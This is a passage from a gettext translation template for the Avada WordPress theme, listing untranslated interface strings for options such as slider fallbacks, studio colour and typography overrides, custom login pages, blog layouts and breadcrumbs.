Slider Revolution. %s" msgstr "" #: includes/metaboxes/tabs/tab_sliders.php:205 msgid "Slider Fallback Image" msgstr "" #: includes/metaboxes/tabs/tab_sliders.php:206 msgid "This image will override the slider on mobile devices." msgstr "" #: includes/metaboxes/tabs/tab_studio.php:72 msgid "Exclude from Studio" msgstr "" #: includes/metaboxes/tabs/tab_studio.php:77 msgid "Choose to include or exclude this template from studio content." msgstr "" #: includes/metaboxes/tabs/tab_studio.php:85 msgid "Setup Wizard Content" msgstr "" #: includes/metaboxes/tabs/tab_studio.php:90 msgid "Select if this is special setup wizard content." msgstr "" #: includes/metaboxes/tabs/tab_studio.php:98 msgid "Select Referenced Off Canvases" msgstr "" #: includes/metaboxes/tabs/tab_studio.php:99 msgid "" "Select off canvases which are referenced in this item. Leaving blank if " "none." msgstr "" #: includes/metaboxes/tabs/tab_studio.php:106 msgid "Preview Off Canvas" msgstr "" #: includes/metaboxes/tabs/tab_studio.php:107 msgid "Select off canvas which is added to the item markup." msgstr "" #: includes/metaboxes/tabs/tab_studio.php:114 msgid "Color 1 Overwrite" msgstr "" #: includes/metaboxes/tabs/tab_studio.php:115 #: includes/metaboxes/tabs/tab_studio.php:124 #: includes/metaboxes/tabs/tab_studio.php:133 #: includes/metaboxes/tabs/tab_studio.php:142 #: includes/metaboxes/tabs/tab_studio.php:151 #: includes/metaboxes/tabs/tab_studio.php:160 #: includes/metaboxes/tabs/tab_studio.php:169 #: includes/metaboxes/tabs/tab_studio.php:178 msgid "Overwrite with a new color." msgstr "" #: includes/metaboxes/tabs/tab_studio.php:123 msgid "Color 2 Overwrite" msgstr "" #: includes/metaboxes/tabs/tab_studio.php:132 msgid "Color 3 Overwrite" msgstr "" #: includes/metaboxes/tabs/tab_studio.php:141 msgid "Color 4 Overwrite" msgstr "" #: includes/metaboxes/tabs/tab_studio.php:150 msgid "Color 5 Overwrite" msgstr "" #: includes/metaboxes/tabs/tab_studio.php:159 msgid "Color 6 Overwrite" msgstr "" #: includes/metaboxes/tabs/tab_studio.php:168 msgid "Color 7 Overwrite" msgstr "" #: includes/metaboxes/tabs/tab_studio.php:177 msgid "Color 8 Overwrite" msgstr "" #: includes/metaboxes/tabs/tab_studio.php:186 msgid "H1 Font Size" msgstr "" #: includes/metaboxes/tabs/tab_studio.php:187 msgid "Enter font size for H1s." msgstr "" #: includes/metaboxes/tabs/tab_studio.php:193 msgid "H2 Font Size" msgstr "" #: includes/metaboxes/tabs/tab_studio.php:194 msgid "Enter font size for H2s." msgstr "" #: includes/metaboxes/tabs/tab_studio.php:200 msgid "H3 Font Size" msgstr "" #: includes/metaboxes/tabs/tab_studio.php:201 msgid "Enter font size for H3s." msgstr "" #: includes/metaboxes/tabs/tab_studio.php:207 msgid "H4 Font Size" msgstr "" #: includes/metaboxes/tabs/tab_studio.php:208 msgid "Enter font size for H4s." msgstr "" #: includes/metaboxes/tabs/tab_studio.php:214 msgid "H5 Font Size" msgstr "" #: includes/metaboxes/tabs/tab_studio.php:215 msgid "Enter font size for H5s." msgstr "" #: includes/metaboxes/tabs/tab_studio.php:221 msgid "H6 Font Size" msgstr "" #: includes/metaboxes/tabs/tab_studio.php:222 msgid "Enter font size for H6s." msgstr "" #: includes/metaboxes/tabs/tab_studio.php:229 #. translators: %s - Name of typography. msgid "(%s) Typography 1 Overwrite" msgstr "" #: includes/metaboxes/tabs/tab_studio.php:230 #: includes/metaboxes/tabs/tab_studio.php:255 #: includes/metaboxes/tabs/tab_studio.php:280 #: includes/metaboxes/tabs/tab_studio.php:305 #: includes/metaboxes/tabs/tab_studio.php:330 msgid "Overwrite with a new typography." msgstr "" #: includes/metaboxes/tabs/tab_studio.php:254 #. translators: %s - Name of typography. msgid "(%s) Typography 2 Overwrite" msgstr "" #: includes/metaboxes/tabs/tab_studio.php:279 #. translators: %s - Name of typography. msgid "(%s) Typography 3 Overwrite" msgstr "" #: includes/metaboxes/tabs/tab_studio.php:304 #. translators: %s - Name of typography. msgid "(%s) Typography 4 Overwrite" msgstr "" #: includes/metaboxes/tabs/tab_studio.php:329 #. translators: %s - Name of typography. msgid "(%s) Typography 5 Overwrite" msgstr "" #: includes/metaboxes/tabs/tab_template.php:173 #. translators: Additional description (defaults). msgid "" "Select the width to preview the card at in the live editor. Note: this is " "only used for previewing purposes." msgstr "" #: includes/metaboxes/tabs/tab_template.php:190 msgid "Mega Menu Max Width" msgstr "" #: includes/metaboxes/tabs/tab_template.php:192 #. translators: Additional description (defaults). msgid "Select the max width for the mega menu wrapper." msgstr "" #. Template Name of the plugin/theme msgid "100% Width" msgstr "" #: includes/metaboxes/tabs/tab_template.php:202 includes/options/menu.php:2919 msgid "Custom Width" msgstr "" #: includes/metaboxes/tabs/tab_template.php:208 msgid "Custom Max Width" msgstr "" #: includes/metaboxes/tabs/tab_template.php:209 msgid "Controls the max width of the mega menu. In pixels." msgstr "" #: includes/metaboxes/tabs/tab_template.php:254 msgid "Archives" msgstr "" #: includes/metaboxes/tabs/tab_template.php:260 msgid "Term" msgstr "" #: includes/metaboxes/tabs/tab_template.php:303 #: includes/metaboxes/tabs/tab_template.php:315 #. translators: The post name. msgid "Any %s item" msgstr "" #: includes/metaboxes/tabs/tab_template.php:313 #. translators: The post name. msgid "Select %s" msgstr "" #: includes/metaboxes/tabs/tab_template.php:317 #. translators: The post name. msgid "" "Choose to view dynamic data as %1$s. Select \"Any %2$s Item\" for random " "selection." msgstr "" #: includes/metaboxes/tabs/tab_template.php:344 msgid "View Dynamic Data As" msgstr "" #: includes/metaboxes/tabs/tab_template.php:345 msgid "Make a selection to view Dynamic Data based on a specific post/page." msgstr "" #: includes/metaboxes/tabs/tab_template.php:355 msgid "Select Archive Type" msgstr "" #: includes/metaboxes/tabs/tab_template.php:356 msgid "Choose to view Dynamic Data as Archive Type." msgstr "" #: includes/metaboxes/tabs/tab_template.php:377 msgid "Select Taxonomy" msgstr "" #: includes/metaboxes/tabs/tab_template.php:378 msgid "" "Select a taxonomy to pull a term from. The most recent term in the taxonomy " "will be used." msgstr "" #: includes/metaboxes/tabs/tab_template.php:419 msgid "Special Effect" msgstr "" #: includes/metaboxes/tabs/tab_template.php:421 #. translators: Additional description (defaults). msgid "Select a special effect for the footer template." msgstr "" #: includes/metaboxes/tabs/tab_template.php:427 msgid "Parallax" msgstr "" #: includes/metaboxes/tabs/tab_template.php:428 msgid "Sticky" msgstr "" #: includes/metaboxes/tabs/tab_template.php:446 msgid "Select the background color for the header area." msgstr "" #: includes/metaboxes/tabs/tab_template.php:461 includes/options/header.php:125 msgid "Header Position" msgstr "" #: includes/metaboxes/tabs/tab_template.php:462 msgid "Select the position for the header." msgstr "" #: includes/metaboxes/tabs/tab_template.php:484 msgid "Side Header Width" msgstr "" #: includes/metaboxes/tabs/tab_template.php:485 msgid "Select the width for the side header." msgstr "" #: includes/metaboxes/tabs/tab_template.php:516 msgid "Side Header Breakpoint" msgstr "" #: includes/metaboxes/tabs/tab_template.php:518 #. translators: Global Options link. msgid "" "Select the breakpoint for when the side header should move to the top of " "the page." msgstr "" #: includes/metaboxes/tabs/tab_template.php:547 msgid "Custom Breakpoint" msgstr "" #: includes/metaboxes/tabs/tab_template.php:549 #. translators: Global Options link. msgid "" "Select the viewport width for when the side header should move to the top " "of the page." msgstr "" #: includes/options/advanced.php:27 msgid "Advanced" msgstr "" #: includes/options/advanced.php:41 msgid "Enable Language Updates" msgstr "" #: includes/options/advanced.php:42 msgid "" "If your site is using a language other than English, enabling this option " "will allow you to get updated language files for your locale as soon as " "they are available." msgstr "" #: includes/options/advanced.php:50 msgid "Avada's Option Network Dependencies" msgstr "" #: includes/options/advanced.php:51 msgid "" "Avada's Option Network consists of Global Options, Page Options and Builder " "Options and each of them have dependent options ON by default. This means " "the only options you see are the only ones currently available for your " "selection. However, if you wish to disable this feature, simply turn this " "option off, and all dependencies will be disabled (requires save & refresh)." msgstr "" #: includes/options/advanced.php:59 msgid "Code Block Encoding" msgstr "" #: includes/options/advanced.php:60 msgid "" "Turn on to enable encoding in the Avada Builder code block and syntax " "highlighting elements." msgstr "" #: includes/options/advanced.php:69 msgid "Turn on to enable Avada's legacy mega menu." msgstr "" #: includes/options/advanced.php:83 msgid "Legacy Widget Areas" msgstr "" #: includes/options/advanced.php:84 msgid "Turn on to enable the legacy widget areas of WordPress." msgstr "" #: includes/options/advanced.php:93 msgid "Turn on to enable Avada studio." msgstr "" #: includes/options/advanced.php:101 msgid "Avada Styles For Slider Revolution" msgstr "" #: includes/options/advanced.php:102 msgid "" "Turn on to enable the Avada styles and use the default Slider Revolution " "styles." msgstr "" #: includes/options/advanced.php:150 msgid "Avada Dropdown Styles" msgstr "" #: includes/options/advanced.php:151 msgid "" "Turn on to enable the Avada styles for dropdown/select fields site wide. " "This should be done if you experience any issues with 3rd party plugin " "dropdowns." msgstr "" #: includes/options/advanced.php:187 msgid "CSS Image Hover Animations on Mobiles" msgstr "" #: includes/options/advanced.php:188 msgid "Turn on to enable CSS image hover animations on mobiles." msgstr "" #: includes/options/advanced.php:208 msgid "YouTube API Scripts" msgstr "" #: includes/options/advanced.php:209 msgid "Turn on to enable YouTube API scripts." msgstr "" #: includes/options/advanced.php:268 msgid "Vimeo API Scripts" msgstr "" #: includes/options/advanced.php:269 msgid "Turn on to enable Vimeo API scripts." msgstr "" #: includes/options/advanced.php:316 msgid "Google Map Scripts" msgstr "" #: includes/options/advanced.php:317 msgid "Turn on to enable google map." msgstr "" #: includes/options/advanced.php:325 msgid "Font Awesome" msgstr "" #: includes/options/advanced.php:326 msgid "" "Choose which Font Awesome icon subsets you want to load. Note that Light " "subset can only be used if Font Awesome Pro is enabled." msgstr "" #: includes/options/advanced.php:341 msgid "Font Awesome v4 Compatibility" msgstr "" #: includes/options/advanced.php:342 msgid "Turn on to enable support for Font Awesome 4 icon code format." msgstr "" #: includes/options/advanced.php:350 msgid "Font Awesome Pro" msgstr "" #: includes/options/advanced.php:352 #. translators: %1$s = license text & link. %2$s: whitelist text & link. msgid "Font Awesome Pro %1$s is required and you need to %2$s your domain." msgstr "" #: includes/options/advanced.php:360 msgid "CSS Outlines" msgstr "" #: includes/options/advanced.php:361 msgid "" "Turn on to enable browser specific CSS element outlines used to improve " "accessibility." msgstr "" #: includes/options/advanced.php:383 msgid "Meta Tags Separator" msgstr "" #: includes/options/advanced.php:384 msgid "" "Set a separator character that can be used in the Avada Page Options SEO " "tab for post title and description meta tags." msgstr "" #: includes/options/advanced.php:390 msgid "Description And Open Graph Meta Tags" msgstr "" #: includes/options/advanced.php:391 msgid "" "Turn on to enable custom description meta tag and open graph meta tags. " "These are used for SEO and when sharing pages on social networks like " "Facebook. IMPORTANT: Some SEO plugins, like Yoast SEO or " "RankMath, add their own implementation of this, so either disable the " "option in the plugin, or disable it here, to avoid duplicate tags." msgstr "" #: includes/options/advanced.php:399 msgid "Rich Snippets" msgstr "" #: includes/options/advanced.php:400 msgid "" "Turn on to enable rich snippets data site wide. If set to \"On\", you can " "also control individual items below. If set to \"Off\" all items will be " "disabled." msgstr "" #: includes/options/advanced.php:408 msgid "Rich Snippets Title" msgstr "" #: includes/options/advanced.php:409 msgid "Turn on to enable title rich snippet data site wide." msgstr "" #: includes/options/advanced.php:424 msgid "Rich Snippets Author Info" msgstr "" #: includes/options/advanced.php:425 msgid "Turn on to enable author rich snippet data site wide." msgstr "" #: includes/options/advanced.php:440 msgid "Rich Snippets Last Update Date" msgstr "" #: includes/options/advanced.php:441 msgid "Turn on to enable udate date rich snippet data site wide." msgstr "" #: includes/options/advanced.php:456 msgid "Rich Snippets FAQ" msgstr "" #: includes/options/advanced.php:457 msgid "Turn on to enable the FAQ rich snippet data site wide." msgstr "" #: includes/options/advanced.php:472 msgid "Enable WP Block Editor Backend Styles" msgstr "" #: includes/options/advanced.php:473 msgid "Turn on to enable Avada's backend style support for the WP block editor." msgstr "" #: includes/options/advanced.php:482 msgid "Load Frontend Block Styles" msgstr "" #: includes/options/advanced.php:483 msgid "" "Select \"Auto\" to automatically detect if there are blocks present in your " "page, and load block-styles in the footer." msgstr "" #: includes/options/advanced.php:497 msgid "Code Fields (Tracking etc.)" msgstr "" #: includes/options/advanced.php:517 msgid "Space before </head>" msgstr "" #: includes/options/advanced.php:531 msgid "Space after <body>" msgstr "" #: includes/options/advanced.php:545 msgid "Space before </body>" msgstr "" #: includes/options/advanced.php:561 msgid "Post Types" msgstr "" #: includes/options/advanced.php:568 msgid "Turn on to enable the Avada Slider." msgstr "" #: includes/options/advanced.php:577 msgid "Turn on to enable the elastic slider." msgstr "" #: includes/options/advanced.php:586 msgid "Turn on to enable the Avada Forms." msgstr "" #: includes/options/advanced.php:594 msgid "Avada Off Canvas" msgstr "" #: includes/options/advanced.php:595 msgid "Turn on to enable the Avada Off Canvas." msgstr "" #: includes/options/advanced.php:603 msgid "Avada Portfolio" msgstr "" #: includes/options/advanced.php:604 msgid "Turn on to enable the Avada Portfolio." msgstr "" #: includes/options/advanced.php:612 msgid "Avada FAQs" msgstr "" #: includes/options/advanced.php:613 msgid "Turn on to enable the Avada Faqs." msgstr "" #: includes/options/auth_pages.php:46 msgid "Custom Auth Pages" msgstr "" #: includes/options/auth_pages.php:55 msgid "" "IMPORTANT NOTE: When creating custom auth pages, it is " "essential that you also use Avada Forms to add a working form with the " "matching authentication action set on the Submissions tab." msgstr "" #: includes/options/auth_pages.php:59 msgid "Login Page" msgstr "" #: includes/options/auth_pages.php:60 msgid "Select which page you want as custom login page." msgstr "" #: includes/options/auth_pages.php:67 msgid "Registration Page" msgstr "" #: includes/options/auth_pages.php:68 msgid "Select which page you want as custom registration page." msgstr "" #: includes/options/auth_pages.php:75 msgid "Lost Password Page" msgstr "" #: includes/options/auth_pages.php:76 msgid "Select which page you want as custom lost password page." msgstr "" #: includes/options/auth_pages.php:83 msgid "Reset Password Page" msgstr "" #: includes/options/auth_pages.php:84 msgid "Select which page you want as custom reset password page." msgstr "" #: includes/options/auth_pages.php:91 msgid "WordPress Authentication Pages Redirect" msgstr "" #: includes/options/auth_pages.php:92 msgid "" "Choose what should happen if a site user visits a default WordPress " "authentication page/URL (wp-login.php)." msgstr "" #: includes/options/auth_pages.php:97 msgid "Auth Pages" msgstr "" #: includes/options/auth_pages.php:98 msgid "Homepage" msgstr "" #: includes/options/auth_pages.php:100 msgid "Custom Page" msgstr "" #: includes/options/auth_pages.php:104 msgid "Custom Redirect Page" msgstr "" #: includes/options/auth_pages.php:105 msgid "" "Select to which page you want to redirect site users visiting a default " "WordPress authentication page/URL (wp-login.php)." msgstr "" #: includes/options/auth_pages.php:119 msgid "Custom Authentication Page Bypass" msgstr "" #: includes/options/auth_pages.php:120 msgid "" "Set a value here, if you want to use that as a query var for bypassing the " "custom authentication pages. E.g. my-secret-login " "(https://example.com/wp-login.php?my-secret-login=1). The default login " "will be valid for 5 minutes, or until successful log in." msgstr "" #: includes/options/background.php:34 msgid "Page Background" msgstr "" #: includes/options/background.php:42 msgid "Select an image to use for a full page background." msgstr "" #: includes/options/background.php:72 msgid "" "Turn on to have the page background image display at 100% in width and " "height according to the window size." msgstr "" #: includes/options/background.php:119 includes/options/background.php:350 #: includes/options/footer.php:438 includes/options/header.php:790 msgid "Controls how the background image repeats." msgstr "" #: includes/options/background.php:124 includes/options/background.php:355 #: includes/options/footer.php:443 includes/options/header.php:795 msgid "Repeat All" msgstr "" #: includes/options/background.php:162 msgid "" "Controls the background color for the page. When the color value is set to " "anything below 100% opacity, the color will overlay the background image if " "one is uploaded." msgstr "" #: includes/options/background.php:184 msgid "Background Pattern" msgstr "" #: includes/options/background.php:185 msgid "Turn on to display a pattern in the page background." msgstr "" #: includes/options/background.php:207 msgid "Select a Background Pattern" msgstr "" #: includes/options/background.php:252 msgid "Main Content Background" msgstr "" #: includes/options/background.php:259 msgid "Main Content Background Color" msgstr "" #: includes/options/background.php:260 msgid "Controls the background color of the main content area." msgstr "" #: includes/options/background.php:287 msgid "Background Image For Main Content Area" msgstr "" #: includes/options/background.php:288 msgid "Select an image to use for the main content area background." msgstr "" #: includes/options/background.php:303 msgid "" "Turn on to have the main content background image display at 100% in width " "and height according to the window size." msgstr "" #: includes/options/bbpress.php:30 includes/options/performance.php:486 msgid "bbPress" msgstr "" #: includes/options/bbpress.php:37 msgid "bbPress Forum Base Font Size" msgstr "" #: includes/options/bbpress.php:38 msgid "" "Controls the base font size for replies. Some related font sizes are " "automatically calculated from it." msgstr "" #: includes/options/bbpress.php:49 msgid "bbPress Forum Header Background Color" msgstr "" #: includes/options/bbpress.php:50 msgid "Controls the background color for forum header rows." msgstr "" #: includes/options/bbpress.php:62 msgid "bbPress Forum Header Font Color" msgstr "" #: includes/options/bbpress.php:63 msgid "Controls the font color for the text in the forum header rows." msgstr "" #: includes/options/bbpress.php:75 msgid "bbPress Forum Border Color" msgstr "" #: includes/options/bbpress.php:76 msgid "Controls the border color for all forum surrounding borders." msgstr "" #: includes/options/blog.php:38 msgid "General Blog" msgstr "" #: includes/options/blog.php:46 msgid "" "IMPORTANT NOTE: The options on this tab only control the " "assigned blog page in \"Settings > Reading\", blog archives or the blog " "single post page, not the blog element. The only options on this tab that " "work with the blog element are the Date Format options and Load More Post " "Button Color." msgstr "" #: includes/options/blog.php:51 msgid "Blog Page Title Bar" msgstr "" #: includes/options/blog.php:52 msgid "" "Controls how the page title bar displays on single blog posts and blog " "archive pages." msgstr "" #: includes/options/blog.php:70 msgid "Blog Assigned Page Title Bar" msgstr "" #: includes/options/blog.php:71 msgid "" "Controls how the page title bar displays on the assigned blog page in " "\"Settings > Reading\"." msgstr "" #: includes/options/blog.php:89 msgid "Blog Page Title" msgstr "" #: includes/options/blog.php:90 msgid "" "Controls the title text that displays in the page title bar only if your " "front page displays your latest post in \"Settings > Reading\"." msgstr "" #: includes/options/blog.php:110 msgid "Blog Page Subtitle" msgstr "" #: includes/options/blog.php:111 msgid "" "Controls the subtitle text that displays in the page title bar only if your " "front page displays your latest post in \"Settings > Reading\"." msgstr "" #: includes/options/blog.php:131 msgid "Blog Layout" msgstr "" #: includes/options/blog.php:132 msgid "Controls the layout for the assigned blog page in \"Settings > Reading\"." msgstr "" #: includes/options/blog.php:139 includes/options/blog.php:170 #: includes/options/search.php:346 msgid "Large Alternate" msgstr "" #: includes/options/blog.php:140 includes/options/blog.php:171 #: includes/options/search.php:347 msgid "Medium Alternate" msgstr "" #: includes/options/blog.php:141 includes/options/blog.php:172 #: includes/options/portfolio.php:59 includes/options/search.php:348 #: includes/options/woocommerce.php:588 msgid "Grid" msgstr "" #: includes/options/blog.php:143 includes/options/blog.php:174 #: includes/options/portfolio.php:60 msgid "Masonry" msgstr "" #: includes/options/blog.php:156 msgid "Edit Blog Options" msgstr "" #: includes/options/blog.php:162 msgid "Blog Archive Layout" msgstr "" #: includes/options/blog.php:163 msgid "Controls the layout for the blog archive pages." msgstr "" #: includes/options/blog.php:203 msgid "Pagination Type" msgstr "" #: includes/options/blog.php:204 msgid "" "Controls the pagination type for the assigned blog page in \"Settings > " "Reading\" or blog archive pages." msgstr "" #: includes/options/blog.php:209 includes/options/extra.php:699 #: includes/options/portfolio.php:381 includes/options/search.php:387 msgid "Pagination" msgstr "" #: includes/options/blog.php:210 includes/options/portfolio.php:382 #: includes/options/search.php:388 msgid "Infinite Scroll" msgstr "" #: includes/options/blog.php:211 includes/options/portfolio.php:383 #: includes/options/search.php:389 msgid "Load More Button" msgstr "" #: includes/options/blog.php:222 includes/options/portfolio.php:394 msgid "Load More Posts Button Background Color" msgstr "" #: includes/options/blog.php:223 msgid "" "Controls the background color of the load more button for ajax post loading " "for blog archives." msgstr "" #: includes/options/blog.php:243 includes/options/portfolio.php:415 msgid "Load More Posts Button Text Color" msgstr "" #: includes/options/blog.php:244 msgid "" "Controls the text color of the load more button for ajax post loading for " "blog archives." msgstr "" #: includes/options/blog.php:264 includes/options/portfolio.php:436 msgid "Load More Posts Button Hover Background Color" msgstr "" #: includes/options/blog.php:265 msgid "" "Controls the hover background color of the load more button for ajax post " "loading for blog archives." msgstr "" #: includes/options/blog.php:285 includes/options/portfolio.php:457 msgid "Load More Posts Hover Button Text Color" msgstr "" #: includes/options/blog.php:286 msgid "" "Controls the hover text color of the load more button for ajax post loading " "for blog archives." msgstr "" #: includes/options/blog.php:306 includes/options/search.php:400 msgid "Number of Columns" msgstr "" #: includes/options/blog.php:307 msgid "" "Controls the number of columns for grid and masonry layout when using it " "for the assigned blog page in \"Settings > Reading\" or blog archive pages. " "IMPORTANT: Masonry layout does not work with 1 column." msgstr "" #: includes/options/blog.php:356 includes/options/search.php:433 #: includes/options/woocommerce.php:116 msgid "Column Spacing" msgstr "" #: includes/options/blog.php:357 msgid "" "Controls the column spacing for blog posts for grid and masonry layout when " "using it for the assigned blog page in \"Settings > Reading\" or blog " "archive pages." msgstr "" #: includes/options/blog.php:414 includes/options/portfolio.php:133 #: includes/options/woocommerce.php:705 msgid "Equal Heights" msgstr "" #: includes/options/blog.php:415 msgid "Turn on to display grid boxes to equal heights per row." msgstr "" #: includes/options/blog.php:451 msgid "Blog Archive Grid Text Padding" msgstr "" #: includes/options/blog.php:452 msgid "" "Controls the top/right/bottom/left padding of the blog text when using grid " "/ masonry or timeline layout. " msgstr "" #: includes/options/blog.php:524 msgid "Blog Archive Grid Content Alignment" msgstr "" #: includes/options/blog.php:525 msgid "" "Controls the content alignment of the blog text when using grid / masonry " "or timeline layout." msgstr "" #: includes/options/blog.php:585 msgid "Blog Content Display" msgstr "" #: includes/options/blog.php:586 msgid "" "Controls if the blog content displays an excerpt or full content or is " "completely disabled for the assigned blog page in \"Settings > Reading\" or " "blog archive pages." msgstr "" #: includes/options/blog.php:592 includes/options/portfolio.php:244 #: includes/options/search.php:475 msgid "Full Content" msgstr "" #: includes/options/blog.php:593 includes/options/portfolio.php:204 #: includes/options/portfolio.php:242 includes/options/search.php:476 msgid "No Text" msgstr "" #: includes/options/blog.php:597 msgid "Excerpt Length" msgstr "" #: includes/options/blog.php:598 msgid "" "Controls the number of %s in the excerpts on the assigned blog page in " "\"Settings > Reading\" or on blog archive pages." msgstr "" #: includes/options/blog.php:631 includes/options/portfolio.php:282 msgid "Strip HTML from Excerpt" msgstr "" #: includes/options/blog.php:632 msgid "" "Turn on to strip HTML content from the excerpt for the assigned blog page " "in \"Settings > Reading\" or blog archive pages." msgstr "" #: includes/options/blog.php:653 msgid "Featured Image / Video on Blog Archive Page" msgstr "" #: includes/options/blog.php:654 msgid "Turn on to display featured images and videos on the blog archive pages." msgstr "" #: includes/options/blog.php:680 msgid "Edit Featured Image" msgstr "" #: includes/options/blog.php:689 msgid "Blog Alternate Layout Date Box Color" msgstr "" #: includes/options/blog.php:690 msgid "" "Controls the color of the date box in blog alternate and recent posts " "layouts." msgstr "" #: includes/options/blog.php:702 msgid "Blog Alternate Layout Month and Year Format" msgstr "" #: includes/options/blog.php:703 msgid "" "Controls the month and year format for blog alternate layouts. Formatting Date and Time" msgstr "" #: includes/options/blog.php:709 msgid "Blog Alternate Layout Day Format" msgstr "" #: includes/options/blog.php:710 msgid "" "Controls the day format for blog alternate layouts. Formatting Date and Time" msgstr "" #: includes/options/blog.php:716 msgid "Blog Timeline Layout Date Format" msgstr "" #: includes/options/blog.php:717 msgid "" "Controls the timeline label format for blog timeline layouts. Formatting Date" msgstr "" #: includes/options/blog.php:739 includes/options/footer.php:49 #: includes/options/menu.php:90 includes/options/page_title_bar.php:45 #: includes/options/portfolio.php:521 includes/options/search.php:317 #: includes/options/social_media.php:217 includes/options/social_media.php:448 #. translators: %1$s: Content|Header|Footer|Page Title Bar. %2$s: Layout #. selection URL. #. translators: 1: Content|Footer|Page Title Bar. 2: URL. #. translators: 1: Content|Footer|Page Title Bar. 2: URL. #. translators: 1: Content|Footer|Page Title Bar. 2: URL. #. translators: 1: Content|Footer|Page Title Bar. 2: URL. #. translators: 1: Content|Footer|Page Title Bar. 2: URL. #. translators: 1: Content|Footer|Page Title Bar. 2: URL. msgid "" "IMPORTANT NOTE: The options on this tab are not available " "because a global %1$s override is currently used. To edit your global " "layout please visit this page." msgstr "" #: includes/options/blog.php:751 includes/options/portfolio.php:532 #: includes/options/search.php:329 #. translators: %1$s: Live Builder. %2$s: Content|Header|Footer|Page Title Bar. #. %3$s: Layout selection URL. msgid "" "IMPORTANT NOTE: For more flexibility and a modern, more " "performant setup, we recommend using the %1$s to create a custom %2$s " "Layout. visit this page." msgstr "" #: includes/options/blog.php:759 includes/options/portfolio.php:555 #: includes/options/woocommerce.php:691 msgid "100% Width Page" msgstr "" #: includes/options/blog.php:760 msgid "" "Turn on to display blog posts at 100% browser width according to the window " "size. Turn off to follow site width." msgstr "" #: includes/options/blog.php:774 msgid "Featured Image / Video on Single Blog Post" msgstr "" #: includes/options/blog.php:775 msgid "Turn on to display featured images and videos on single blog posts." msgstr "" #: includes/options/blog.php:789 includes/options/portfolio.php:540 msgid "Previous/Next Pagination" msgstr "" #: includes/options/blog.php:790 msgid "Turn on to display the previous/next post pagination for single blog posts." msgstr "" #: includes/options/blog.php:805 msgid "" "Controls if the post title displays above or below the featured post image " "or is disabled." msgstr "" #: includes/options/blog.php:811 msgid "Below " msgstr "" #: includes/options/blog.php:824 msgid "Meta Data Position" msgstr "" #: includes/options/blog.php:825 msgid "Choose where the meta data is positioned." msgstr "" #: includes/options/blog.php:831 msgid "Below Article" msgstr "" #: includes/options/blog.php:832 msgid "Below Title" msgstr "" #: includes/options/blog.php:850 includes/options/portfolio.php:689 msgid "Social Sharing Box" msgstr "" #: includes/options/blog.php:851 msgid "Turn on to display the social sharing box." msgstr "" #: includes/options/blog.php:865 msgid "Author Info Box" msgstr "" #: includes/options/blog.php:866 msgid "Turn on to display the author info box below posts." msgstr "" #: includes/options/blog.php:881 msgid "Turn on to display related posts." msgstr "" #: includes/options/blog.php:896 msgid "Turn on to display comments." msgstr "" #: includes/options/blog.php:913 msgid "Blog Meta" msgstr "" #: includes/options/blog.php:922 msgid "" "IMPORTANT NOTE: The on/off meta options on this tab only " "control the assigned blog page in \"Settings > Reading\" or the blog " "archives, not the blog element. The only options on this tab that work with " "the blog element are the Meta Data Font Size and Date Format options." msgstr "" #: includes/options/blog.php:927 msgid "Post Meta" msgstr "" #: includes/options/blog.php:928 msgid "" "Turn on to display post meta on blog posts. If set to \"On\", you can also " "control individual meta items below. If set to \"Off\" all meta items will " "be disabled." msgstr "" #: includes/options/blog.php:953 msgid "Post Meta Author" msgstr "" #: includes/options/blog.php:954 msgid "Turn on to display the post meta author name." msgstr "" #: includes/options/blog.php:986 msgid "Post Meta Date" msgstr "" #: includes/options/blog.php:987 msgid "Turn on to display the post meta date." msgstr "" #: includes/options/blog.php:1019 msgid "Post Meta Categories" msgstr "" #: includes/options/blog.php:1020 msgid "Turn on to display the post meta categories." msgstr "" #: includes/options/blog.php:1052 msgid "Post Meta Comments" msgstr "" #: includes/options/blog.php:1053 msgid "Turn on to display the post meta comments." msgstr "" #: includes/options/blog.php:1085 msgid "Post Meta Read More Link" msgstr "" #: includes/options/blog.php:1086 msgid "Turn on to display the post meta read more link." msgstr "" #: includes/options/blog.php:1118 msgid "Post Meta Tags" msgstr "" #: includes/options/blog.php:1119 msgid "Turn on to display the post meta tags." msgstr "" #: includes/options/blog.php:1151 includes/options/portfolio.php:492 msgid "Meta Data Font Size" msgstr "" #: includes/options/blog.php:1152 includes/options/portfolio.php:493 msgid "Controls the font size for meta data text." msgstr "" #: includes/options/blog.php:1163 msgid "Date Format" msgstr "" #: includes/options/blog.php:1166 #. translators: Link to general settings in the dashboard. msgid "" "Controls the date format for date meta data. Formatting Date and Time. " "Leave empty to use the default value from your WordPress Settings" msgstr "" #: includes/options/breadcrumbs.php:30 msgid "" "Yoast SEO plugin is active, and its breadcrumb function is overwriting " "Avada's output." msgstr "" #: includes/options/breadcrumbs.php:37 msgid "" "RankMath SEO plugin is active, and its breadcrumb function is overwriting " "Avada's output." msgstr "" #: includes/options/breadcrumbs.php:51 msgid "Breadcrumbs on Mobile Devices" msgstr "" #: includes/options/breadcrumbs.php:52 msgid "Turn on to display breadcrumbs on mobile devices." msgstr "" #: includes/options/breadcrumbs.php:74 msgid "Breadcrumbs Prefix" msgstr "" #: includes/options/breadcrumbs.php:75 msgid "Controls the text before the breadcrumb menu." msgstr "" #: includes/options/breadcrumbs.php:90 msgid "Breadcrumbs Home Anchor Text" msgstr "" #: includes/options/breadcrumbs.php:91 msgid "" "Controls the text anchor of the Homelink. Leave empty for translatable " "default of \"Home\"." msgstr "" #: includes/options/breadcrumbs.php:106 msgid "Breadcrumbs Separator" msgstr "" #: includes/options/breadcrumbs.php:107 msgid "Controls the type of separator between each breadcrumb." msgstr "" #: includes/options/breadcrumbs.php:127 msgid "Breadcrumbs Font Size" msgstr "" #: includes/options/breadcrumbs.php:128 msgid "Controls the font size for the breadcrumbs text." msgstr "" #: includes/options/breadcrumbs.php:144 msgid "Breadcrumbs Text Color" msgstr "" #: includes/options/breadcrumbs.php:145 msgid "Controls the text color of the breadcrumbs font." msgstr "" #: includes/options/breadcrumbs.php:159 msgid "Breadcrumbs Text Hover Color" msgstr "" #: includes/options/breadcrumbs.php:160 msgid "Controls the text hover color of the breadcrumbs font." msgstr "" #: includes/options/breadcrumbs.php:174 msgid "Breadcrumbs Prefix Color" msgstr "" #: includes/options/breadcrumbs.php:175 msgid "" "Controls the text color of the breadcrumbs prefix. Leave empty to use the " "text color above." msgstr "" #: includes/options/breadcrumbs.php:188 msgid "Breadcrumbs Current Page Color" msgstr "" #: includes/options/breadcrumbs.php:189 msgid "" "Controls the text color of the current page in the breadcrumbs path. Leave " "empty to use the text color above." msgstr "" #: includes/options/breadcrumbs.php:202 msgid "Breadcrumbs 